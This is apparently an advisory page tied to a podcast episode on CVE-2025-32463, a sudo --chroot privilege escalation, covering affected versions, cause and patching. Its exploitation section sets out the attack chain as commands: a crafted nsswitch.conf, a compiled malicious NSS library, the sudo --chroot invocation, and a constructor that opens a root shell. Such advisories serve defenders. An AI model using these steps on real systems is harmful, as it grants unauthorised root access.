sudo: local privilege escalation in sudo via untrusted /etc/nsswitch.conf with --chroot (CVE-2025-32463) #shorts

Summary

Welcome to CyberPatch Podcast. In today’s episode we’re diving into CVE-2025-32463, a newly disclosed local privilege escalation vulnerability in the widely used Sudo utility. This flaw allows a non-privileged, local user to gain full root access under certain configurations. We’ll walk you through exactly what’s at risk, how it works, and what steps you need to take right now to protect your systems.

Product details

The vulnerability affects Sudo versions prior to 1.9.17p1, including 1.9.14, 1.9.15, and 1.9.16. Sudo is a core component on most Linux distributions and is also bundled with some macOS deployments. Many organizations rely on Sudo to grant controlled administrative privileges to users without giving them full root credentials.

Vulnerability type summary

Classified as CWE-829, this is an “Inclusion of Functionality from Untrusted Control Sphere” issue. In simple terms, Sudo is loading a security-related configuration file—nsswitch.conf—from a location that can be manipulated by an unprivileged user, breaking the trust boundary between system and user control.

Details of the vulnerability

When Sudo is invoked with the -R or --chroot option, it creates a chroot jail for the target process. However, before dropping privileges, Sudo will read /etc/nsswitch.conf from inside the chroot directory. An attacker who can write to a directory used as the chroot path can place a crafted nsswitch.conf file there. By configuring module lookups or resolver behavior in that file, the attacker tricks the system into loading malicious libraries or modules as root, resulting in full root shell execution. This chain exploits the fact that Sudo trusted the chroot directory without validating the contents of nsswitch.conf.

Conclusion

If you’re running Sudo on Linux or macOS, you need to patch immediately. Update to version 1.9.17p1 or later. Review any automation or scripts that use -R/--chroot and lock down file permissions on chroot directories. As always, apply principle of least privilege and monitor sudo logs for unusual activity. Stay safe, and thanks for listening to CyberPatch Podcast.

Watch the full video on YouTube: CVE-2025-32463

Remediation and exploitation details

This chain involves the following actors

  • Local user: Attacker with non-privileged shell
  • System administrator: Responsible for patching and updates

This following systems are involved

  • Target host (Runs sudo for privilege escalation control): Victim system

Attack entry point

  • sudo --chroot option: Invoking sudo with a user-writable chroot directory

Remediation actions

System administrator
Update sudo to version 1.9.17p1 or later
Target host

Exploitation actions

Prepare attacker-controlled filesystem layout

Local user
Create a writable directory structure for chroot
Target host
Examples:
  • mkdir -p /tmp/exploit_chroot/etc
  • mkdir -p /tmp/exploit_chroot/lib

Direct sudo to load a custom name-service module

Local user
Place a malicious nsswitch.conf inside the chroot etc
Target host
Examples:
  • printf 'passwd: files\ngroup: files mymodule\n' > /tmp/exploit_chroot/etc/nsswitch.conf

Embed root-escalation payload in a fake NSS module

Local user
Compile or drop a malicious shared library named libnss_mymodule.so.2
Target host
Examples:
  • gcc -shared -fPIC -o /tmp/exploit_chroot/lib/libnss_mymodule.so.2 exploit.c

Force sudo to use the attacker-controlled nsswitch.conf

Local user
Invoke sudo with the --chroot switch pointed at the prepared directory
Target host
Examples:
  • sudo --chroot=/tmp/exploit_chroot id

Run privileged code in the shared library constructor

Local user
Malicious module is loaded and executes, spawning a root shell
Target host
Examples:
  • // In exploit.c constructor: setuid(0); execve("/bin/sh", NULL, NULL);

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-32463
Description
Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the --chroot option.
Provider
mitre
CWE / problem types
CWE-829 Inclusion of Functionality from Untrusted Control Sphere
Affected Software Versions
Sudo project:Sudo:[{'lessThan': '1.9.17p1', 'status': 'affected', 'version': '1.9.14', 'versionType': 'custom'}]
Date Published
2025-06-30T00:00:00.000Z
Last Updated
2025-07-01T19:58:59.312Z